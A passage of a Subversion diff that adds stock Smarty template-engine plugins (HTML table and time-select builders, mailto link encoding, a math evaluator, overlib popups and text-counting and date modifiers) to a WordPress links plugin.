+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        $html_result .= smarty_function_html_options(array('output'          => $hours,
+                                                           'values'          => $hours,
+                                                           'selected'      => strftime($hour_fmt, $time),
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    if ($display_minutes) {
+        $all_minutes = range(0, 59);
+        for ($i = 0, $for_max = count($all_minutes); $i < $for_max; $i+= $minute_interval)
+            $minutes[] = sprintf('%02d', $all_minutes[$i]);
+        $selected = intval(floor(strftime('%M', $time) / $minute_interval) * $minute_interval);
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Minute]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Minute"';
+        }
+        if (null !== $minute_extra){
+            $html_result .= ' ' . $minute_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        
+        $html_result .= smarty_function_html_options(array('output'          => $minutes,
+                                                           'values'          => $minutes,
+                                                           'selected'      => $selected,
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    if ($display_seconds) {
+        $all_seconds = range(0, 59);
+        for ($i = 0, $for_max = count($all_seconds); $i < $for_max; $i+= $second_interval)
+            $seconds[] = sprintf('%02d', $all_seconds[$i]);
+        $selected = intval(floor(strftime('%S', $time) / $second_interval) * $second_interval);
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Second]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Second"';
+        }
+        
+        if (null !== $second_extra){
+            $html_result .= ' ' . $second_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        
+        $html_result .= smarty_function_html_options(array('output'          => $seconds,
+                                                           'values'          => $seconds,
+                                                           'selected'      => $selected,
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    if ($display_meridian && !$use_24_hours) {
+        $html_result .= '<select name=';
+        if (null !== $field_array) {
+            $html_result .= '"' . $field_array . '[' . $prefix . 'Meridian]"';
+        } else {
+            $html_result .= '"' . $prefix . 'Meridian"';
+        }
+        
+        if (null !== $meridian_extra){
+            $html_result .= ' ' . $meridian_extra;
+        }
+        if (null !== $all_extra){
+            $html_result .= ' ' . $all_extra;
+        }
+        $html_result .= '>'."\n";
+        
+        $html_result .= smarty_function_html_options(array('output'          => array('AM', 'PM'),
+                                                           'values'          => array('am', 'pm'),
+                                                           'selected'      => strtolower(strftime('%p', $time)),
+                                                           'print_result' => false),
+                                                     $smarty);
+        $html_result .= "</select>\n";
+    }
+
+    return $html_result;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_table.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_table.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.html_table.php	(revision 44)
@@ -0,0 +1,137 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {html_table} function plugin
+ *
+ * Type:     function<br>
+ * Name:     html_table<br>
+ * Date:     Feb 17, 2003<br>
+ * Purpose:  make an html table from an array of data<br>
+ * Input:<br>
+ *         - loop = array to loop through
+ *         - cols = number of columns
+ *         - rows = number of rows
+ *         - table_attr = table attributes
+ *         - tr_attr = table row attributes (arrays are cycled)
+ *         - td_attr = table cell attributes (arrays are cycled)
+ *         - trailpad = value to pad trailing cells with
+ *         - vdir = vertical direction (default: "down", means top-to-bottom)
+ *         - hdir = horizontal direction (default: "right", means left-to-right)
+ *         - inner = inner loop (default "cols": print $loop line by line,
+ *                   $loop will be printed column by column otherwise)
+ *
+ *
+ * Examples:
+ * <pre>
+ * {table loop=$data}
+ * {table loop=$data cols=4 tr_attr='"bgcolor=red"'}
+ * {table loop=$data cols=4 tr_attr=$colors}
+ * </pre>
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @version  1.0
+ * @link http://smarty.php.net/manual/en/language.function.html.table.php {html_table}
+ *          (Smarty online manual)
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_html_table($params, &$smarty)
+{
+    $table_attr = 'border="1"';
+    $tr_attr = '';
+    $td_attr = '';
+    $cols = 3;
+    $rows = 3;
+    $trailpad = '&nbsp;';
+    $vdir = 'down';
+    $hdir = 'right';
+    $inner = 'cols';
+
+    if (!isset($params['loop'])) {
+        $smarty->trigger_error("html_table: missing 'loop' parameter");
+        return;
+    }
+
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'loop':
+                $$_key = (array)$_value;
+                break;
+
+            case 'cols':
+            case 'rows':
+                $$_key = (int)$_value;
+                break;
+
+            case 'table_attr':
+            case 'trailpad':
+            case 'hdir':
+            case 'vdir':
+            case 'inner':
+                $$_key = (string)$_value;
+                break;
+
+            case 'tr_attr':
+            case 'td_attr':
+                $$_key = $_value;
+                break;
+        }
+    }
+
+    $loop_count = count($loop);
+    if (empty($params['rows'])) {
+        /* no rows specified */
+        $rows = ceil($loop_count/$cols);
+    } elseif (empty($params['cols'])) {
+        if (!empty($params['rows'])) {
+            /* no cols specified, but rows */
+            $cols = ceil($loop_count/$rows);
+        }
+    }
+
+    $output = "<table $table_attr>\n";
+
+    for ($r=0; $r<$rows; $r++) {
+        $output .= "<tr" . smarty_function_html_table_cycle('tr', $tr_attr, $r) . ">\n";
+        $rx =  ($vdir == 'down') ? $r*$cols : ($rows-1-$r)*$cols;
+
+        for ($c=0; $c<$cols; $c++) {
+            $x =  ($hdir == 'right') ? $rx+$c : $rx+$cols-1-$c;
+            if ($inner!='cols') {
+                /* shuffle x to loop over rows*/
+                $x = floor($x/$cols) + ($x%$cols)*$rows;
+            }
+
+            if ($x<$loop_count) {
+                $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">" . $loop[$x] . "</td>\n";
+            } else {
+                $output .= "<td" . smarty_function_html_table_cycle('td', $td_attr, $c) . ">$trailpad</td>\n";
+            }
+        }
+        $output .= "</tr>\n";
+    }
+    $output .= "</table>\n";
+    
+    return $output;
+}
+
+function smarty_function_html_table_cycle($name, $var, $no) {
+    if(!is_array($var)) {
+        $ret = $var;
+    } else {
+        $ret = $var[$no % count($var)];
+    }
+    
+    return ($ret) ? ' '.$ret : '';
+}
+
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.mailto.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.mailto.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.mailto.php	(revision 44)
@@ -0,0 +1,163 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {mailto} function plugin
+ *
+ * Type:     function<br>
+ * Name:     mailto<br>
+ * Date:     May 21, 2002
+ * Purpose:  automate mailto address link creation, and optionally
+ *           encode them.<br>
+ * Input:<br>
+ *         - address = e-mail address
+ *         - text = (optional) text to display, default is address
+ *         - encode = (optional) can be one of:
+ *                * none : no encoding (default)
+ *                * javascript : encode with javascript
+ *                * javascript_charcode : encode with javascript charcode
+ *                * hex : encode with hexidecimal (no javascript)
+ *         - cc = (optional) address(es) to carbon copy
+ *         - bcc = (optional) address(es) to blind carbon copy
+ *         - subject = (optional) e-mail subject
+ *         - newsgroups = (optional) newsgroup(s) to post to
+ *         - followupto = (optional) address(es) to follow up to
+ *         - extra = (optional) extra tags for the href link
+ *
+ * Examples:
+ * <pre>
+ * {mailto address="me@domain.com"}
+ * {mailto address="me@domain.com" encode="javascript"}
+ * {mailto address="me@domain.com" encode="hex"}
+ * {mailto address="me@domain.com" subject="Hello to you!"}
+ * {mailto address="me@domain.com" cc="you@domain.com,they@domain.com"}
+ * {mailto address="me@domain.com" extra='class="mailto"'}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.mailto.php {mailto}
+ *          (Smarty online manual)
+ * @version  1.2
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @author   credits to Jason Sweat (added cc, bcc and subject functionality)
+ * @param    array
+ * @param    Smarty
+ * @return   string
+ */
+function smarty_function_mailto($params, &$smarty)
+{
+    $extra = '';
+
+    if (empty($params['address'])) {
+        $smarty->trigger_error("mailto: missing 'address' parameter");
+        return;
+    } else {
+        $address = $params['address'];
+    }
+
+    $text = $address;
+
+    // netscape and mozilla do not decode %40 (@) in BCC field (bug?)
+    // so, don't encode it.
+    $mail_parms = array();
+    foreach ($params as $var=>$value) {
+        switch ($var) {
+            case 'cc':
+            case 'bcc':
+            case 'followupto':
+                if (!empty($value))
+                    $mail_parms[] = $var.'='.str_replace('%40','@',rawurlencode($value));
+                break;
+                
+            case 'subject':
+            case 'newsgroups':
+                $mail_parms[] = $var.'='.rawurlencode($value);
+                break;
+
+            case 'extra':
+            case 'text':
+                $$var = $value;
+
+            default:
+        }
+    }
+
+    $mail_parm_vals = '';
+    for ($i=0; $i<count($mail_parms); $i++) {
+        $mail_parm_vals .= (0==$i) ? '?' : '&';
+        $mail_parm_vals .= $mail_parms[$i];
+    }
+    $address .= $mail_parm_vals;
+
+    $encode = (empty($params['encode'])) ? 'none' : $params['encode'];
+    if (!in_array($encode,array('javascript','javascript_charcode','hex','none')) ) {
+        $smarty->trigger_error("mailto: 'encode' parameter must be none, javascript or hex");
+        return;
+    }
+
+    if ($encode == 'javascript' ) {
+        $string = 'document.write(\'<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>\');';
+
+        $js_encode = '';
+        for ($x=0; $x < strlen($string); $x++) {
+            $js_encode .= '%' . bin2hex($string[$x]);
+        }
+
+        return '<script type="text/javascript">eval(unescape(\''.$js_encode.'\'))</script>';
+
+    } elseif ($encode == 'javascript_charcode' ) {
+        $string = '<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>';
+
+        for($x = 0, $y = strlen($string); $x < $y; $x++ ) {
+            $ord[] = ord($string[$x]);   
+        }
+
+        $_ret = "<script type=\"text/javascript\" language=\"javascript\">\n";
+        $_ret .= "<!--\n";
+        $_ret .= "{document.write(String.fromCharCode(";
+        $_ret .= implode(',',$ord);
+        $_ret .= "))";
+        $_ret .= "}\n";
+        $_ret .= "//-->\n";
+        $_ret .= "</script>\n";
+        
+        return $_ret;
+        
+        
+    } elseif ($encode == 'hex') {
+
+        preg_match('!^(.*)(\?.*)$!',$address,$match);
+        if(!empty($match[2])) {
+            $smarty->trigger_error("mailto: hex encoding does not work with extra attributes. Try javascript.");
+            return;
+        }
+        $address_encode = '';
+        for ($x=0; $x < strlen($address); $x++) {
+            if(preg_match('!\w!',$address[$x])) {
+                $address_encode .= '%' . bin2hex($address[$x]);
+            } else {
+                $address_encode .= $address[$x];
+            }
+        }
+        $text_encode = '';
+        for ($x=0; $x < strlen($text); $x++) {
+            $text_encode .= '&#x' . bin2hex($text[$x]).';';
+        }
+
+        $mailto = "&#109;&#97;&#105;&#108;&#116;&#111;&#58;";
+        return '<a href="'.$mailto.$address_encode.'" '.$extra.'>'.$text_encode.'</a>';
+
+    } else {
+        // no encoding
+        return '<a href="mailto:'.$address.'" '.$extra.'>'.$text.'</a>';
+
+    }
+
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.math.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.math.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.math.php	(revision 44)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {math} function plugin
+ *
+ * Type:     function<br>
+ * Name:     math<br>
+ * Purpose:  handle math computations in template<br>
+ * @link http://smarty.php.net/manual/en/language.function.math.php {math}
+ *          (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_math($params, &$smarty)
+{
+    // be sure equation parameter is present
+    if (empty($params['equation'])) {
+        $smarty->trigger_error("math: missing equation parameter");
+        return;
+    }
+
+    $equation = $params['equation'];
+
+    // make sure parenthesis are balanced
+    if (substr_count($equation,"(") != substr_count($equation,")")) {
+        $smarty->trigger_error("math: unbalanced parenthesis");
+        return;
+    }
+
+    // match all vars in equation, make sure all are passed
+    preg_match_all("!(?:0x[a-fA-F0-9]+)|([a-zA-Z][a-zA-Z0-9_]+)!",$equation, $match);
+    $allowed_funcs = array('int','abs','ceil','cos','exp','floor','log','log10',
+                           'max','min','pi','pow','rand','round','sin','sqrt','srand','tan');
+    
+    foreach($match[1] as $curr_var) {
+        if ($curr_var && !in_array($curr_var, array_keys($params)) && !in_array($curr_var, $allowed_funcs)) {
+            $smarty->trigger_error("math: function call $curr_var not allowed");
+            return;
+        }
+    }
+
+    foreach($params as $key => $val) {
+        if ($key != "equation" && $key != "format" && $key != "assign") {
+            // make sure value is not empty
+            if (strlen($val)==0) {
+                $smarty->trigger_error("math: parameter $key is empty");
+                return;
+            }
+            if (!is_numeric($val)) {
+                $smarty->trigger_error("math: parameter $key: is not numeric");
+                return;
+            }
+            $equation = preg_replace("/\b$key\b/", " \$params['$key'] ", $equation);
+        }
+    }
+
+    eval("\$smarty_math_result = ".$equation.";");
+
+    if (empty($params['format'])) {
+        if (empty($params['assign'])) {
+            return $smarty_math_result;
+        } else {
+            $smarty->assign($params['assign'],$smarty_math_result);
+        }
+    } else {
+        if (empty($params['assign'])){
+            printf($params['format'],$smarty_math_result);
+        } else {
+            $smarty->assign($params['assign'],sprintf($params['format'],$smarty_math_result));
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.popup.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.popup.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.popup.php	(revision 44)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {popup} function plugin
+ *
+ * Type:     function<br>
+ * Name:     popup<br>
+ * Purpose:  make text pop up in windows via overlib
+ * @link http://smarty.php.net/manual/en/language.function.popup.php {popup}
+ *          (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_popup($params, &$smarty)
+{
+    $append = '';
+    foreach ($params as $_key=>$_value) {
+        switch ($_key) {
+            case 'text':
+            case 'trigger':
+            case 'function':
+            case 'inarray':
+                $$_key = (string)$_value;
+                if ($_key == 'function' || $_key == 'inarray')
+                    $append .= ',' . strtoupper($_key) . ",'$_value'";
+                break;
+
+            case 'caption':
+            case 'closetext':
+            case 'status':
+                $append .= ',' . strtoupper($_key) . ",'" . str_replace("'","\'",$_value) . "'";
+                break;
+
+            case 'fgcolor':
+            case 'bgcolor':
+            case 'textcolor':
+            case 'capcolor':
+            case 'closecolor':
+            case 'textfont':
+            case 'captionfont':
+            case 'closefont':
+            case 'fgbackground':
+            case 'bgbackground':
+            case 'caparray':
+            case 'capicon':
+            case 'background':
+            case 'frame':
+                $append .= ',' . strtoupper($_key) . ",'$_value'";
+                break;
+
+            case 'textsize':
+            case 'captionsize':
+            case 'closesize':
+            case 'width':
+            case 'height':
+            case 'border':
+            case 'offsetx':
+            case 'offsety':
+            case 'snapx':
+            case 'snapy':
+            case 'fixx':
+            case 'fixy':
+            case 'padx':
+            case 'pady':
+            case 'timeout':
+            case 'delay':
+                $append .= ',' . strtoupper($_key) . ",$_value";
+                break;
+
+            case 'sticky':
+            case 'left':
+            case 'right':
+            case 'center':
+            case 'above':
+            case 'below':
+            case 'noclose':
+            case 'autostatus':
+            case 'autostatuscap':
+            case 'fullhtml':
+            case 'hauto':
+            case 'vauto':
+            case 'mouseoff':
+            case 'followmouse':
+            case 'closeclick':
+                if ($_value) $append .= ',' . strtoupper($_key);
+                break;
+
+            default:
+                $smarty->trigger_error("[popup] unknown parameter $_key", E_USER_WARNING);
+        }
+    }
+
+    if (empty($text) && !isset($inarray) && empty($function)) {
+        $smarty->trigger_error("overlib: attribute 'text' or 'inarray' or 'function' required");
+        return false;
+    }
+
+    if (empty($trigger)) { $trigger = "onmouseover"; }
+
+    $retval = $trigger . '="return overlib(\''.preg_replace(array("!'!","![\r\n]!"),array("\'",'\r'),$text).'\'';
+    $retval .= $append . ');"';
+    if ($trigger == 'onmouseover')
+       $retval .= ' onmouseout="nd();"';
+
+
+    return $retval;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.popup_init.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.popup_init.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.popup_init.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {popup_init} function plugin
+ *
+ * Type:     function<br>
+ * Name:     popup_init<br>
+ * Purpose:  initialize overlib
+ * @link http://smarty.php.net/manual/en/language.function.popup.init.php {popup_init}
+ *          (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ * @return string
+ */
+function smarty_function_popup_init($params, &$smarty)
+{
+    $zindex = 1000;
+    
+    if (!empty($params['zindex'])) {
+        $zindex = $params['zindex'];
+    }
+    
+    if (!empty($params['src'])) {
+        return '<div id="overDiv" style="position:absolute; visibility:hidden; z-index:'.$zindex.';"></div>' . "\n"
+         . '<script type="text/javascript" language="JavaScript" src="'.$params['src'].'"></script>' . "\n";
+    } else {
+        $smarty->trigger_error("popup_init: missing src parameter");
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.capitalize.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.capitalize.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.capitalize.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty capitalize modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     capitalize<br>
+ * Purpose:  capitalize words in the string
+ * @link http://smarty.php.net/manual/en/language.modifiers.php#LANGUAGE.MODIFIER.CAPITALIZE
+ *      capitalize (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return string
+ */
+function smarty_modifier_capitalize($string, $uc_digits = false)
+{
+    smarty_modifier_capitalize_ucfirst(null, $uc_digits);
+    return preg_replace_callback('!\b\w+\b!', 'smarty_modifier_capitalize_ucfirst', $string);
+}
+
+function smarty_modifier_capitalize_ucfirst($string, $uc_digits = null)
+{
+    static $_uc_digits = false;
+    
+    if(isset($uc_digits)) {
+        $_uc_digits = $uc_digits;
+        return;
+    }
+    
+    if(!preg_match('!\d!',$string[0]) || $_uc_digits)
+        return ucfirst($string[0]);
+    else
+        return $string[0];
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.cat.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.cat.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.cat.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty cat modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     cat<br>
+ * Date:     Feb 24, 2003
+ * Purpose:  catenate a value to a variable
+ * Input:    string to catenate
+ * Example:  {$var|cat:"foo"}
+ * @link http://smarty.php.net/manual/en/language.modifier.cat.php cat
+ *          (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @version 1.0
+ * @param string
+ * @param string
+ * @return string
+ */
+function smarty_modifier_cat($string, $cat)
+{
+    return $string . $cat;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_characters.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_characters.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_characters.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_characters modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_characteres<br>
+ * Purpose:  count the number of characters in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.characters.php
+ *          count_characters (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param boolean include whitespace in the character count
+ * @return integer
+ */
+function smarty_modifier_count_characters($string, $include_spaces = false)
+{
+    if ($include_spaces)
+       return(strlen($string));
+
+    return preg_match_all("/[^\s]/",$string, $match);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_paragraphs.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_paragraphs.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_paragraphs.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_paragraphs modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_paragraphs<br>
+ * Purpose:  count the number of paragraphs in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
+ *          count_paragraphs (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_paragraphs($string)
+{
+    // count \r or \n characters
+    return count(preg_split('/[\r\n]+/', $string));
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_sentences.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_sentences.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_sentences.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_sentences modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_sentences
+ * Purpose:  count the number of sentences in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.paragraphs.php
+ *          count_sentences (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_sentences($string)
+{
+    // find periods with a word before but not after.
+    return preg_match_all('/[^\s]\.(?!\w)/', $string, $match);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_words.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_words.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.count_words.php	(revision 44)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty count_words modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     count_words<br>
+ * Purpose:  count the number of words in a text
+ * @link http://smarty.php.net/manual/en/language.modifier.count.words.php
+ *          count_words (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @return integer
+ */
+function smarty_modifier_count_words($string)
+{
+    // split text by ' ',\r,\n,\f,\t
+    $split_array = preg_split('/\s+/',$string);
+    // count matches that contain alphanumerics
+    $word_count = preg_grep('/[a-zA-Z0-9\\x80-\\xff]/', $split_array);
+
+    return count($word_count);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.date_format.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.date_format.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.date_format.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Include the {@link shared.make_timestamp.php} plugin
+ */
+require_once $smarty->_get_plugin_filepath('shared','make_timestamp');
+/**
+ * Smarty date_format modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     date_format<br>
+ * Purpose:  format datestamps via strftime<br>
+ * Input:<br>
+ *         - string: input date string
+ *         - format: strftime format for output
+ *         - default_date: default date if $string is empty
+ * @link http://smarty.php.net/manual/en/language.modifier.date.format.php
+ *          date_format (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param string
+ * @param string
+ * @param string
+ * @return string|void
+ * @uses smarty_make_timestamp()
+ */
+function smarty_modifier_date_format($string, $format="%b %e, %Y", $default_date=null)
+{
+    if (substr(PHP_OS,0,3) == 'WIN') {
+           $_win_from = array ('%e',  '%T',       '%D');
+           $_win_to   = array ('%#d', '%H:%M:%S', '%m/%d/%y');
+           $format = str_replace($_win_from, $_win_to, $format);
+    }
+    if($string != '') {
+        return strftime($format, smarty_make_timestamp($string));
+    } elseif (isset($default_date) && $default_date != '') {
+        return strftime($format, smarty_make_timestamp($default_date));
+    } else {
+        return;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.debug_print_var.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.debug_print_var.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.debug_print_var.php	(revision 44)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty debug_print_var modifier plugin
+ *
+ * Type:     modifier<br>
+ * Name:     debug_print_var<br>
+ * Purpose:  formats variable contents for display in the console
+ * @link http://smarty.php.net/manual/en/language.modifier.debug.print.var.php
+ *          debug_print_var (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @param array|object
+ * @param integer
+ * @param integer
+ * @return string
+ */
+function smarty_modifier_debug_print_var($var, $depth = 0, $length = 40)
+{
+    $_replace = array("\n"=>'<i>&#92;n</i>', "\r"=>'<i>&#92;r</i>', "\t"=>'<i>&#92;t</i>');
+    if (is_array($var)) {
+        $results = "<b>Array (".count($var).")</b>";
+        foreach ($var as $curr_key => $curr_val) {
+            $return = smarty_modifier_debug_print_var($curr_val, $depth+1, $length);
+            $results .= "<br>".str_repeat('&nbsp;', $depth*2)."<b>".strtr($curr_key, $_replace)."</b> =&gt; $return";
+        }
+    } else if (is_object($var)) {
+        $object_vars = get_object_vars($var);
+        $results = "<b>".get_class($var)." Object (".count($object_vars).")</b>";
+        foreach ($object_vars as $curr_key => $curr_val) {
+            $return = smarty_modifier_debug_print_var($curr_val, $depth+1, $length);
+            $results .= "<br>".str_repeat('&nbsp;', $depth*2)."<b>$curr_key</b> =&gt; $return";
+        }
+    } else if (is_resource($var)) {
+        $results = '<i>'.(string)$var.'</i>';
+    } else if (empty($var) && $var != "0") {
+        $results = '<i>empty</i>';
+    } else {
+        if (strlen($var) > $length ) {
+            $results = substr($var, 0, $length-3).'...';
+        } else {
+            $results = $var;
+        }
+        $results = htmlspecialchars($results);
+        $results = strtr($results, $_replace);
+    }
+    return $results;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/modifier.default.php	(revision 44)
